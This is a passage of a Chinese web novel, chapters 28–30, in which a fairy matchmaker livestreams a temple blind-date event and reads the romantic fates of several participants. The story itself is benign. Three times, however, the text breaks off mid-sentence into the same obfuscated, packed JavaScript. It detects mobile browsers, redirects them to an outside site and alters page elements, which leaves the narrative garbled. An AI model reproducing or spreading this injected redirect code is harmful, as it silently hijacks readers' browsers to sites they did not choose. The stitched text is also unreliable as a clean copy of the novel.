所以在服装方面,她自备了姻缘殿的制服,是一件桃色的广袖长裙,虽然因为本身不怎么爱打扮,她没什么首饰,但好在有这么多年打工的积累,好歹也有几件正式场合可以充门面的小饰品,只是没有在身上,虽然回到天庭不能立刻回来,但趁夜回去一趟便也拿下来了,没人会发现。 穿戴完毕,莺芝走出门去,负责拿着手机做移动摄像头的文隽跟随其后,红线小人则抱着它的手机坐在屋里,专注自己的房管职责,维护直播间秩序。 “如果是让别的神仙见到了,说不定还以为我们是来参加各殿的业绩评比大会呢……” 左右无人,莺芝整理了一下鬓边垂坠着流苏的羽链饰品,感觉自己像是没化形在人间飞、就差在脑门上贴张纸条说明“此人是鸟”了,忍不住低声腹诽了一句,又悄悄解释:“……之前的工作大都是和原型相关的,所以准备的首饰也多是这种,不是我很喜欢自己的羽毛。” 她和那些恨不得把自己搞成七彩然后到处炫耀的雄鸟不一样,真的不一样。 同样穿了神官服、浑身都散发着一种文雅气质的文隽闻言不由莞尔,也学着她的样子压低了声音,小声点评了一句:“很合适。” 莺芝悠悠叹息:“……是吧,确实挺喜庆的。” 文隽没忍住笑了笑,又摇头:“也不全是喜庆。” 说话间,两人已经迈出了走廊的范围,来到了主殿区域,空气热闹起来,人头攒动,文隽压下未完的话,跟随莺芝的脚步,一起到了搭好的位置中,开启了直播。 莺芝的直播间今天会一直开着,为相亲会做出实时记录,也给没到场的大多数人一个云参与的机会。 两人到场的时候,主殿附近已经有不少人在了。 见她过来,周围人齐刷刷就把眼神投了过来,一个个很是兴奋。 “小莺你终于来了——” “小莺看我看我,我是摸鱼!” “噢噢噢这就是今天的红线娘娘?” “嘿,这丫头长得还挺俊那,不知道她有没有对象,能不能给我大孙说说?” “省省吧你那孙子谁瞧得上啊,自己捂着吧别祸害人家小姑娘了。” “说什么呢你?” …… 莺芝微微一笑,到了桌后落座。 “大家好呀,我是小莺,大家的红娘——接下来的活动中,就由我来为大家‘牵缘搭线’了。” 【骂谁二次元呢:我去,摸鱼你也去现场了】 【我真没有QAQ:我也想要去,但是时间调不开,可惜】 【一只浪迹瓜田的猹:今天的小莺好美丽,爱了,舔一口】 …… “如门口处的公告板所言,如若有想要匹配一位优秀伴侣、或想结束单身状态的朋友们,可以来报名,在这里进行自我介绍、或来此处关注后续动向,我将为大家把关——凡参与之人,均可领取红绳一根。” 莺芝含笑解说流程,“另外,今天共开放三次定缘机会,拿到特殊红绳者,即可进行现场观缘。” 高兴得眼睛都成了一条缝的袁胜在旁大喊宣告: “牵手成功可以直接拜送子娘娘,一条龙服务——!” 28. 第 28 章 不得不说,像是这种多人一起的活动,大家参与的热情还是挺高的。 莺芝这边刚一宣布活动开始,人群之中就有几位上了年纪的男性女性挤到了最前方来。 当中一个头发有些花白的矮个子老太太笑眯眯朝莺芝打招呼: “哎呦……小红娘真俊呐!姑娘,来来,给我家这个丫头看看,今儿能不能相个条件好点的。” 莺芝笑容得体地无视了对自己的夸赞,转而看向对方身边。 都是差不多年纪的老人,哪里来的“丫头”? 老太太也注意到了这一点,眉毛一竖,步子都没怎么动就从身后的人群里精准扯出来了一个年轻女孩。 “躲什么躲,都跟你说了今天来是干嘛的,扭扭捏捏能成什么事!” 她二话不说就把女孩推到莺芝的长桌面前,嘴里还在絮絮叨叨地念着,“天天在那手机上看那些挤眉弄眼还光膀子大小伙子的不是你?你说说你,想谈对象还整天把自己关家里,封建大小姐一样四门不出二门不迈的——咋的,天上能直接掉下来个光膀子的小伙进你被窝?” 被自家长辈这样在大庭广众之下数落,女孩脸上很是窘迫。 尤其是对方还三言两语把她喜欢在短视频平台刷帅哥的小爱好给这么公布了出来,周围顿起了一圈或高或低笑声。 但,或许是觉得要是反驳会引来对方卖出更多她的赖来,所以虽然一双耳朵快红得滴血,她也只是拖着音节叫了声“姥娘”,没有做出什么抵抗对方的举动,更没有丝毫生气的痕迹,反而老老实实被推到了莺芝面前,乖巧站定。 “愣着干嘛呢,跟人家红线娘娘打招呼!”老太太眼睛一瞪,又要开始絮叨。 女孩忙开口:“小莺姐姐你好,我,我……” 莺芝含笑看着她们这祖孙俩的互动,觉得颇为有趣,没有因为在直播就抓对方的玩笑话出来当笑点博热度逗趣。 “你是要来报名的吗?” 闻言,老太太用胳膊肘捅了捅女孩的后背,女孩笑容更无奈了,点了点头:“嗯,是。” 莺芝指了指身边的位置,笑道:“那进来吧。” 周围人群自发为她让开了一个能够容她过去的小道,女孩点点头,走过去站到了莺芝身边。 长桌布置在主殿前方,站在桌后,那就是能被所有到场之人都能够看到的情状,女孩一时有些紧张。 却听身边的人温声说道:“好了,那你便在这里向大家介绍一下自己吧。” 淡淡的,叫不上来名字的香气隐约扑来,无比悦耳的声音中,女孩内心少许的忐忑一下子就熄下了不少。 她点点头,迎着老太太炯炯的目光,以及周围人或善意或好奇的目光,挺直了身体。 “大家好,我是杨智慧,今年二十六岁,本科毕业,现在在家里做些自媒体相关的工作。” 茂城这边,不算是一线城市,而在村落中,一个本科生,更已经是相当相当唬人的存在。 毕竟大多数学生要么考不上,要么考上了之后就去大城市了,周围的活生生的本科生,虽然不算特别少,但也很是少见了。 杨智慧的简易开头刚一结束,就察觉到周围的人群中,不少人的表情都稍微变了含义,从单纯的好奇和围观,变成了思量和考虑。 虽然“思量”和“考虑”让她觉得有种被当成商品了的感觉,但毕竟已经被架到了这么个公开的台子上,杨智慧倒是没觉得有什么——若是换个男生在这里,绝对也会和她一样,被各种斟酌和审视的考量洗礼。 相比较这个来说,那些目光中因为她这个还算拿得出手的学历而有些微微的激动和八九分的心动,倒让她更有底气了一些。 她语气越发从容:“我是自由职业,时间比较随性的同时,代价是月收入不算高,平均下来也就三四千。家里父母都是农民,姥娘姥爷和爷爷奶奶也都是。我们就是农民世家,我大学专业也是农业相关。” 听到周围人讨论杨智慧所说的工资,老太太眉毛飞起,回头就瞪:“三四千咋的啦,你们去茂城里打工一个月也就两三千,我家闺女在家里门都不出房租都不用交还能每月三四千,这还不够花的?” 杨智慧继续介绍着:“家里有一些地,住的自建房,没有轿车,出门进城都是小电驴。” 似乎又有谁在嘀咕,老太太连连呸呸:“哪家糟老婆子在挑我家闺女的?我家是在城里没房,但我们闺女有分到宅基地,等她啥时候想自己住了直接就给她盖小楼,家里她爹妈的房子以后也都是她的,我也给她留了一套,想住哪住哪!” 杨智慧话还没说完,老太太就已经跟人家喋喋不休了起来,基本是杨智慧说一句,她便补一句,生怕别人真信了自家闺女自谦的鬼话一样,力证自家孩子的好。 老太太这一行径惹得杨智慧失笑。 “……姥娘!这是我相亲还是你相亲啊?你要再这样,我可就不说了啊。” 老太太一僵,不情不愿偃旗息鼓。 杨智慧又笑,接着介绍:“我条件不算太好,但是独生女,所以就算结婚了,我也不会同意和男方父母一起住——虽然我父母不介意,但我本人意愿的话,我不想出嫁,想招个上门。” 这话一出,周围顿时就轰然热闹了起来。 有人不少闲言碎语流出来。 “上门?啥条件啊就敢招上门……没车没房的,宅基地有啥好吹的,谁家没分个?” “一个女孩儿,还没结婚就敢开口说不跟自家男人爹妈住,这肯定不会孝顺公婆啊……” “好不容易考个学,结果学种地,真是一家子认死了种地的?” “一个女娃,都二十六了还没对象,还整天待家里看男人视频……不求上进,但是要求还挺高……” “男人娶老婆还得有车有房呢,这啥都没也敢要上门……” “……” 各种乱七八糟的讨论中,杨智慧倒没了一开始被老太太拉出来时候的拘谨,越发坦然自如。 这会儿甚至很有兴趣地听着周围人对她的讨论。 看她的样子,似乎也根本没在意今天能不能相一个能处处的。 人群最前,刚消停了一会儿的老太太却不干了。 她拔高了声音: “——没汽车咋的啦?我家有辆拖拉机和小货车,智慧她爹妈还跟朋友合买了一辆收割机,附近收秋谁不是租的我们的?” “我们智慧是学农的,咋了?家里那么多地,还包了座山,都是给她发挥特长用的——不就是个上门,我们家闺女是打着灯笼都难找的,就算是天上的神仙,她也能配得上,你们家那些要脸没脸要肌肉没肌肉的臭小孩,有什么招不得的?” 老太太比了个威胁的手势:“你们这些死老头老婆子说话掂量点,再给我听见挑我们智慧的,下回收秋别来租我们的车!” 她倒是强势了,但这一波强势过后,愣是连一个敢于站出来打探情况的都没了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14157559|148220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,周围一片寂静。 见状,老太太更急了。 眼看杨智慧又想扶额,莺芝是真的有点忍俊不禁了。 她笑着扬了扬手,闭上眼,手指掐动比划着大家常规印象中“算卦”的姿态。 等将大家的目光都集中过来后,莺芝重新睁开眼,微微一笑,开口说道:“杨姑娘确为良配。” 见她又恢复了安静地微笑,周围人都有些好奇。 然后呢? 莺芝继续微笑。 哪有什么然后,又不是真正精确的观缘。 不过她确实能感受得出来,这姑娘此生命途顺遂,非极端的完全顺风顺水之人,却也算坦荡平静,安详终老。 但这些显然不能说,不然保不住会有一些游手好闲之辈想要来浑水摸鱼。 所以,就这么一句。 杨智慧却很高兴。 现在这个社会多复杂啊,婚姻更是有多少都难以走到最后—— 这种情况下,说她是良配,那不就是对她人品性格等多方面综合的称赞吗? 最终,周围的人讨论了半晌,也没个人上来和杨智慧聊聊的。 老太太很是失望。 但杨智慧始终都带着笑。 她领了红绳下场去,扶着老太太站到了一边。 老太太迟疑:“要不,智慧啊,咱还是别死盯着要上门了,那愿意倒插门的,没几个条件好的啊……万一弄来个好吃懒做的,那不是委屈你了。” 在她看来,自家闺女当然是顶顶好的。要是个男孩,有这条件,早不知道被多少人追着要说媒了。可现在,凡是来给他家说的,不是一听招婿就跑了、就是净给说点那乌七八糟的废物。 女娃咋了,女娃就该天生低男娃一头吗? 本来以为这个相亲会能有点希望,没想到…… 唉。 “没关系,我这不还有红绳吗,红线娘娘会保佑我的,放心吧姥娘。”杨智慧安慰她,眼神中都是安然的笃定,“而且,我说了,条件差的我不要。我只要好的,也只要又好又愿意上门的。” 老太太长长地叹了口气。 接下来,又有不少其他的人带小辈来相,大老远跑来玩的年轻人们也有些上去凑热闹的,不过这部分人多半是为了跟莺芝近距离接触、顺便想要根红绳来的。 莺芝的手机最初是文隽拿着,后来参加活动的人数渐渐变多,莺芝一个人又要听介绍又要维持秩序还要做记录,他便招了袁胜来当摄影师,自己拎了张凳子去到莺芝身边坐下。 接过她手中的毛笔,文隽抽了她身前那本这几天才用庙中旧纸裁剪装订而成的“姻缘簿”,做起了记录。 上前自我介绍者的姓名、性别、年龄、简单资料、择偶标准,询问者的姓名,概况……一项一项,他分门别类地记录着,细杆的劣质毛笔在他手中动得飞快,一列列清俊漂亮的字体整整齐齐跃然纸上。 被从记录的活计中解放出来的莺芝瞥过一眼,便被那清晰明了方便查阅的内容给惊呆了——这记录方式,不知道比她的好了多少。 这家伙,看着爱躲懒不愿干活,原来这么能干。 大半天下来,不少男生都被多家询问了,有些女孩也同样。从莺芝长桌离开,他们便组成了小队,在庙里随便找了个地方两家对谈起来。 直到备好的红绳发光,莺芝宣布今日的相亲结束。 “——接下来,请拿到四股红绳的三位上前来吧。” 29. 第 29 章 四股的红绳? 闻言,所有领到了红绳的人都不约而同拿出了已经带上或好好收起的绳子。 略带审视的琢磨中,许多人都发现,自己手中的这个绳子,原来都是用一种独特的编法,由三股线绳编制而成的。 四股…… 唉,自己果然不是那个幸运儿啊。 一片唏嘘和遗憾中,杨智慧看了看手中的红绳,有些讶异地睁大了眼。 一,二,三……四。 她这根,竟然是四股的。 “——我们中了?!” 杨智慧还没出声,同样也发现了这一事实的老太太已经激动地喊了起来。 顶着周围瞬间就集中过来的所有目光注视,杨智慧拉着老太太的衣袖扯了又扯,力求让对方低调一些。 什么中了呀……姥娘这说的,不知道的还以为是中了什么彩票呢。 老太太却浑然不觉有哪里不对,高兴得嘴角都压不住。 “快快,去让小红娘给你算算,看看你的姻缘在哪呢!”她搡着自家外孙女。 杨智慧本没想到这种幸运会落在自己身上,而就算真的落了,她其实也并不是十分相信这所谓的“算卦”——莺芝的直播间,她虽然冲浪的时候稍微刷到过一些,但因为不怎么关注那些事,都没有点进去。 相关的那些事件里,她唯一稍微吃得齐全一点的瓜,也就是董银灵那个,究其原因,只是因为对那样好的一个女孩子有种发自内心的同情。 但在这件事里,莺芝的直播间所扮演的角色,其实也就是个背景板,一个因为董银灵在这里说出了自己的故事,所以才侥幸被人所知道的小直播间,根本显不出来这个主播有什么特别的。 所以,说到底,即便刚刚莺芝给她的判词是“良配”,杨智慧为此心怀感激,却也只是觉得对方是出于喜庆等目的的场面话,她并不是发自内心地相信、真的有人能通过“算卦”算出一个人的命运与命格。 可…… 此时此刻,感受着周围那么多目光混杂着的甚至可以说得上是嫉妒的羡慕——这可是先前那个红娘给自己说出判词时都没有过的场面,简直像是她占了什么惊天的大便宜、拥有什么逆天的运气一样,杨智慧微微有些迟疑了。 难道说,这个红娘,其实跟她印象中那些靠玄学吃饭的人真的不太一样? 能拥有这样大数量的粉丝,除了出众的样貌和气质,她本身……果然是有点东西的吗。 清楚地认识到,那些人的羡慕完全不是在开玩笑,杨智慧心中突然忐忑了起来。 ——她待会儿真的能够得知,自己未来的那个人在哪里? 可是,她的未来,真的能被这样一个……所谓的“卦象”就轻易决定吗? 如果卦象的结果,是一个又老又丑,人品也很差的人呢?她也要相信?要怎么相信? 会不会太过于儿戏了? 她迈开步子,从庙宇角落,一点一点,路过重重人群,走向那个她已经站到过一次的地方。 但这次,她却远比上次要更加更加地拘谨。 那是她完全没有设想过的,能够提前预知未来的未来。 和她一样,每一步都迈得极其艰难的,还有另一个人。 “……宝贝,你真的要去吗?” 段庆之握着孟书越的手腕,声音中满是迟疑。 孟书越捻着手腕上的红绳,里边清清楚楚的四股线,为她低垂的眼睑都蒙上了一层尖锐的红。 她紧紧抿着唇,氤氲着浓浓雾气的心头,认命却又愧疚的大山下,隐隐有一些弱小的嫩芽冒出。 外边新来的人已经越来越少,该到的都已经到了,所以他们三个也都来围观看热闹了,红绳什么的,既来之则自然也凑热闹领之。 原本她是没打算领的,已经向莺芝坦白过的她,直到现在依旧没有想好要怎么做,所以本能地就是想要离莺芝远一点。但架不住段庆之想要。 于是,他们仨每个人都在一些相亲者自我介绍时凑上去象征性地询问了一下,换来三根红绳。而当即,段庆之便为他们都系上了。 至于这会不会是莺芝的“黑箱操作”……孟书越很清楚地知道,不是。 编手绳的时候,她基本全程参与,四股的绳子当然都是出自于莺芝之手,也确实只有三根。 刚刚这些红绳都在一起放着,一个小筐里混杂放着这么多绳子,还都是来领的人自己挑的。 那等境地下,莺芝怎么可能有黑箱的空挡? 而且,据她在这几天中对莺芝的了解,这位看着好相处好说话,实际上是极其认真极其有原则的人,在已经答应了她不会主动把她的事告知别人的前提下,根本不可能自作主张让她在大庭广众之下事情败露的。 所以,这根绳子最后到了她手里……原因只有一个。 这是上天的安排。 这是老天要她,正视自己的错误。 身为一个作家,孟书越的很轻易就找到了可以形容当下境地的形容,并且自行发散了开来。 ——知道她优柔寡断,摇摆不定,所以老天便替她做了选择。 这是命运给她的机会。 也可能是最后一次。 如果她再不正面面对,很可能之后,她便再没有这样的机会。 她看向身边的丈夫和再旁边一点、让她惦记至今始终难以放下的白月光。 段庆之帅气的一张脸上隐露担忧,安显礼眸中则明显带有不赞同。 或许他们都觉得,小莺只不过是一个骗子,一个和所有路边摆摊的算卦人一样的骗子。 他们担心她受骗,担心她因为小莺的话而生出什么不愉快,影响心情…… ——他们都是这样,毫不掩饰地在关心她。 可她呢? 孟书越勾起了唇角,露出了一个很淡很淡的微笑,淡得让人险些意识不到,她刚刚笑了。 随后,她伸出手,把丈夫的手指一根一根掰开,把自己的手腕抽了出来。 “嗯……我去。” 段庆之还想再劝。 安显礼则是皱起了眉:“如果是好的结果,自然没什么,如果是坏的呢?她胡言乱语没什么,但你很难不听进去。为此影响自己的生活,毫无意义。” 孟书越再度垂下眼,强迫自己不去看丈夫的眼睛,也不去看他身旁的安显礼,唯恐自己再次产生动摇: “……这是庙里的活动,袁大哥他们对我们这么好,这是他们一心要办好的活动,不能拂了他们的面子。” 话已至此,周围的人都已经在围观他们的交谈了,再劝,显然不合时宜。 两人再没有多说什么。 孟书越就这么一步一步,迈向了那个站在长桌后,始终面带微笑的美丽女性。 【这个杨智慧什么运气啊,这也能抽到机会??我实名制羡慕了】 【我也想在现场啊啊,网上这么多人跟我抢我抢不到,线下那么点人我还能抢不到吗?!】 【杨智慧这回肯定能招到合适的了……唉,羡慕两个字我已经说累了】 …… 【好多美女……不是我是说,多好的机会啊,让我来啊】 【想去现场+1】 【你们这些人什么心思我都懒得说了,不过话说回来,摄影师能把镜头推近一点吗,我都看不清小莺身边那个一直在写东西的帅哥的脸了】 …… 【骂谁二次元呢:奇怪,今天直播大哥咋么没来啊,晚间他们这些二哥三哥倒是来了】 【晚间生物:……没钱只能做老二是我的错吗】 【一只浪迹瓜田的猹:不是,家人们,你们没觉得另外一个抽到名额小姐姐也很眼熟吗?】 【你到底说不说:果然,不止我这么觉得,我也觉得她眼熟!但想不起来是谁】 …… 【书海一蠹虫:那个谁吧,书越关山】 【一只浪迹瓜田的猹:啊,原来是她啊,我只看过他们作者聚会的合照,差点没想起来,这气质,果然一看就是作家啊】 【骂谁二次元呢:……啥?关山大大?!她是关山大大??】 【给予她温油ma:谁?】 【你到底说不说:《西洲渡》的作者,书可有名了,不是说现在还在筹备拍成影视剧么】 【骂谁二次元呢:我x,西洲渡当时虐死我了啊,哭的我死去活来的,作者大大竟然是这么个温柔的女孩子……你挥刀可一点也不温柔啊!!】 …… 书越关山,《西洲渡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176983|148220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 》,这两个相当具有关注度的词语一出来,热热闹闹一片但各聊各的弹幕区顿时一阵哗然,越来越多的人注意力渐渐转移,挪到了屏幕中那个,正从人群外围,小步走到莺芝身边的女性身上。 也有人忍不住问出了疑惑。 【我记得关山大大之前在x博说过,自己在办婚礼,这不是结过婚了吗?】 但很快,就有其他人出面解释: 【结过婚也可以算卦啊,谁说不能算了?可以算算她跟她老公婚姻顺利不顺利啊】 孟书越本人对这些弹幕当然是完全不知道的。 她清楚,莺芝粉丝量有许多,自己的书粉也是。今天观看莺芝直播的人里,未必没有她的书粉。 她也同样清楚,等会万一迎接自己的,不是“能够白头到老”,那就会是一个极度差的结果——而自己所做的事,便也一定会被道出。 届时,会有远比今天到场的人数更多的人知道,她到底是一个什么样的人。 但,她只是屏着呼吸,慢却坚定地走向前去。 她自己做的事,无论后果怎么样,她都要承担。 她已经错了很多,但最起码在今天,在现在,在被上天都推着站出来后,她不能再退缩。 除了杨智慧和孟书越,第三位幸运观众是一名男性。 他看起来约莫有三十岁上下,脸庞较宽,皮肤也晒得很黑,算不上帅气,配上质地不怎么好全是褶皱痕迹的灰色T恤和沾着土灰的鞋子,整个人看起来甚至平庸中都有点偏下。 三人一起站在莺芝桌前,不说化着淡妆穿着考究的孟书越,就算是完全没怎么收拾自己素面朝天的杨智慧,都和他看起来完全不像一个世界和层级的人。 但莺芝并没有说什么,她看着三人,微笑开口:“请各位把红绳拿出来,让我看一下吧。” 已经搁下笔的文隽稍微活络了一下手腕,主动伸手,接过了他们递来的绳子,一一看过。 随后,他对莺芝微一颔首。 莺芝了然,转而对三人笑道:“谁先来?” 杨智慧看了看左边的男性,又看了看右边的女性,见他们都没有说话的意思,抓了一把自己脑后扎起的头发,站了出来。 “我先吧。” 男人没有意见,孟书越更是轻轻松了口气。 莺芝微微一笑,欣然道:“好,那请来我身边。” 观缘,若是隔着网络,那是要在姻缘簿中写入该人的姓名八字等信息,佐以脑中对照片的印象,才好锁定对象,继而查阅对方的缘线。但到了眼下这种面对面的情况时,却完全不需要那么复杂。 就像当初给那个摆摊算命的男人观缘一样,只需凝神,暗暗驱动仙力,调动职能相关的权限,作为姻缘仙的莺芝就能清楚看到对方的缘线,且其中细处比前一种复杂的方式还都要清晰许多。 来帮忙维持秩序的阿平拉了张凳子来放到了长桌对面,供杨智慧坐下。 一派高人模样的莺芝微微一笑,朝身边伸手:“纸笔。” 文隽一愣,旋即忍俊不禁地微低下头,借着桌子的遮挡从乾坤袋里取出一叠散装的纸张,和手中的笔一起递了过去。 莺芝淡淡点头,把纸张和笔放到了杨智慧身前。 “写出你的姓名和生辰八字——不知道后者的话,就换成准确的出生时刻。” 不等杨智慧回头,旁观的老太太便冲了上来,在她耳边道:“你是中午十二点零三分出生的。” 杨智慧依样写下,从桌上推给莺芝。 “我们算正缘在哪!”老太太补充。 莺芝表情不变,只点了点头,看了纸上的内容,而后便闭上了眼,开始摆出掐算的手势。 她这么一套装模作样的流程,旁观的人觉得很正常,知晓内情的文隽却忍笑忍得很辛苦。 很快,在所有人的密切关注中,莺芝重新睁开眼。 老太太一颗心都揪了起来,连忙发问:“……算得到吗?” 莺芝微笑:“自然。” 她看向杨智慧:“你的正缘,在八年前就已相遇。” 杨智慧愣住了。 八年前…… 竟然是那时候? 却听莺芝又道: “此刻,他正身在茂城。” 30. 第 30 章 杨智慧今年二十六岁,二十二岁时大学毕业。 所以,她只是在心中略略一算,就有些愣住了。 八年前,正是她高考那一年。 八年前就已经相遇……这个说法的话,大概率就是指她的同学了。 因为高考结束后那将近三个月的时间,她基本全都在家里窝着,门都没出,基本没什么概率遇到新的人,所以这个所谓的“正缘”只能是说她的同学。 那么问题又来了—— 到底是高中同学,还是大学同学? 得到了肯定的精确的有准确指向的答案,老太太简直高兴坏了。 “就在城里哎!智慧,这不得赶紧见见?” 杨智慧却有点没回过神来,仍旧在默默盘算着。 她实在有点难以锁定目标。 莺芝笑着继续给信息:“你们曾经有过交往,缘线有过交缠,但因一些问题分开,时至现在,问题已经化解,未来可将此缘续上。” 老太太一愣,立刻有点着急地补充:“有过交往是啥意思?是说那小伙之前跟我家智慧谈过朋友?——丫头,你是不是算错了?我们家闺女一直没谈过对象啊。这事儿关系着智慧的后半辈子,可千万不能算错了啊!” 莺芝笑而不答,只看着杨智慧。 杨智慧仍在沉思,听了莺芝这说法,脸上纠结更甚。 片刻后,周围群众低语声愈大,杨智慧似乎也感觉到自己耽误了活动的进程,终于抬起眼来。 她斟酌着:“嗯……小莺,你能不能告诉我,就是……呃,具体是哪一段?” 她高三和大学都有在谈的啊,而且确实两段都因为一些事分手了…… ——这个说法实在实在实在让她有点拿不准。 她这话问得语气虽然含蓄,含义却极其明显了,围观的其他观众们顿时笑声四起。 老太太愕然,旋即不可置信转脸看向自家外孙女:“你,你……你什么时候谈朋友了?” 杨智慧挠挠鼻子:“高中大学都谈过,高中那个高考完因为志愿不一样所以分了,大学那个……他要继续读书我不读了,所以也分了。” 老太太瞪着眼看了杨智慧半晌,见她没有一丁点开玩笑的意思,简直不知道该说点什么好。 “你怎么都不告诉家——” 有人笑道:“老太太,人孩子谈恋爱瞒着家里不是很正常吗?万一被你们说是早恋呢~” 老太太一噎。 杨智慧忙扶着她,又是顺气又是拍背的,视线却落在莺芝这里。 “还有,这都已经分手了的,也能算是正缘?”她疑惑追问。 莺芝眼眉弯弯: “是。据缘线看,是下半年相遇的那一段缘。” 杨智慧眼睛一闪。 原来,是他…… “他此刻因为一些事正身处茂城,若此次相遇,即可将缘线续上。若错过此次,下次则在六年后,你与他会在防城一次多人参与的场合中相遇。”莺芝道。 杨智慧听着,眼中神采又是一晃。 具体的“场合”,小莺并没有说。但根据她自身的情况,那会是个什么样的内容也并不难猜测。 她家里承包了山,就是让她发挥自己的专业用的,而他……则也是在这条道路上一直往前走的,大学毕业,她回来了,对方却是去读研了,现在算来,应该也读的差不多了。 那么,他们二人在六年后的相遇,要么是一次相关的学术会议,要么是农业方面的商业活动—— 到时候,他和自己,还会搅在一起吗? 至于现在,他到茂城来,又是为了什么? 即便场合不对,杨智慧也不受控制地发散了一些。 他当年有请求不要分开,但她觉得,异地,以及两人的路越走越远,是没办法继续的,迟早有一天会分开——那还不如直接一点,干脆果断,早断早利索。 可现在,这个大家都说很灵验的红娘正这样说…… 他们是正缘。 难道,他一直在等她? 还是说,他心里一直惦记着、一直期盼着,两人还能有一个重逢的可能? 这种情况,真的可能存在吗? 杨智慧有点不大敢相信,但又忍不住想要相信。 可,要是现在见面—— 这四年来的分离和生疏,难道不会成为两人之间的芥蒂吗? ……变成最熟悉的陌生人。 老太太虽然还是有点不太明白情况,但见自家外孙女这表情这状态,也多少知道了点什么,最起码,那小红娘绝对是没算错—— 她当即就拍了拍孙女的手背。 “想去的话,就去城里看看吧。” 杨智慧一愣。 老太太下半句也说了出来:“不想去咱就等。” 杨智慧:“啊……” 老太太哼哼道:“不管因为什么,当初跟我家闺女分开,就是他没眼光。你要是还生气,那咱就自己先干出个样子,到时候见了让他吓一跳,好好见识见识我们家女娃的本事,然后要是还看得上他,那就直接娶过来。反正,哪家男娃配咱都是高攀了咱。” 杨智慧失笑,眼神不受控制地柔软下来。 她想了想,冲莺芝点头。 “谢谢你。” 莺芝微笑:“不用谢。如果想要去见他,那就带好这根红绳,它可以帮你扩大相遇的几率。” “好,我会的。”杨智慧郑重点头。 她扶着老太太退场,围观的不少观众都对她投以了羡艳和祝福的眼神,杨智慧回以一笑,和老太太一起站到了边缘,看向场中剩余的人。 莺芝的长桌前,还站着两个人。 …… 杨智慧听完卦象,没有去后边的殿里拜拜送子娘娘,袁胜很是有点遗憾,但看到面前还有两人,他又生出了点期待。 很巧的是,这两人他都认识。 而且,俩人都是结过婚,还没孩子的。 这不是刚好了么! 莺芝是高人,不便多次主动开口,他便在充当摄影师之余,兴冲冲推起了流程。 “小孟,大朱,你俩谁先来?” 被他cue到的俩人互相看了一眼,都有些腼腆,一时没谁主动说话。 “——哎呀赶紧决定啊,这么多人等着呢!”袁胜嘿了一声,催道,“这么着吧,大朱,你先,给小孟再打个样。” 莺芝看向袁胜。 这有什么好打样的? 她来算,对方只用往这儿一站而已…… 孟书越也感觉得出这话的生硬,但,袁胜都这么说了——她默默往后退了一步。 嗯,她也确实更想晚一点。 好歹,让她心里多一些底。 都被这么直接点名了,被袁胜叫做大朱的男人也不再含蓄,往前走了一步,坐到了那张凳子上。 莺芝指了指桌上的纸笔。 “写下姓名和生日吧。” 男人拉了拉身前的衣服,有点拘谨地摇了摇头:“我不太会写字。” 莺芝一愣,旁边的文隽也是微怔。 随后,他拿过纸笔,道:“我来替你写。” 他语气平静,虽然情绪有点淡,却没有丝毫的看轻和贬低,这让男人明显地松了一口气。 他又拍了拍裤面,道:“我叫朱明志……” 很快,文隽停下了笔,把纸张放到了莺芝身前。 莺芝垂眸看了一眼,复又抬眼:“你想问什么?” 朱明志沉思了一会儿,有点纠结:“不问姻缘行吗……” 莺芝顿住。 周围的围观群众们也都哗然了。 尤其是本就在直播间一路追过来的莺芝的粉丝们,更是好气又好笑:他们想要这个机会还要不到呢,结果这人要到了机会还在这儿挑三拣四的,找茬是吧? 垂下的羽链随风飘飘摇摇,莺芝也有些叹息。 她一个姻缘仙,找她来不问姻缘? 但要问命格命数,她也说不出太多啊。 “小莺是红线娘娘,精通观算姻缘之数,不问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14197015|148220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姻缘,那你还想问什么?” 文隽出声,问出了在场许多人的疑问,“财运?事业?子女?” 朱明志抓了一把后脖颈:“我知道您是算姻缘的……但是,我有老婆,我跟我老婆也很好,而且,比起和我老婆能不能长久……我更想知道,她能不能长命百岁。” 说着,他有点不好意思:“她身体不太好,嫁给我之后又没过过什么好日子,三天两头就要吃药,身体弱得稍微有点风就要头疼,所以她都没咋出过门,只能困在家里……今天来这儿,也是她跟我说,这儿有热闹,让我来代她看看,给她求个红绳回去。” 他看着莺芝,目露恳切,“我俩的姻缘会咋样我不关心,我就想问问她的身体……能算吗?” 这下,刚刚还很大的声讨转瞬便都不见了踪影,周围的声音都小了许多,文隽神色也和缓下来。 莺芝没想到会是这么个原因,她稍微思考了一下,颔首道:“能是能,但只能看个大概,算不出更精细的。” 根据一个人缘线的长短,也算是能侧面判断此人的寿数,所以如果说算生命,那多少还是能看出点的。 但要是具体地问事业财运什么的,莺芝就是真的只能凭隐约的感觉或直接两眼一抹黑了。 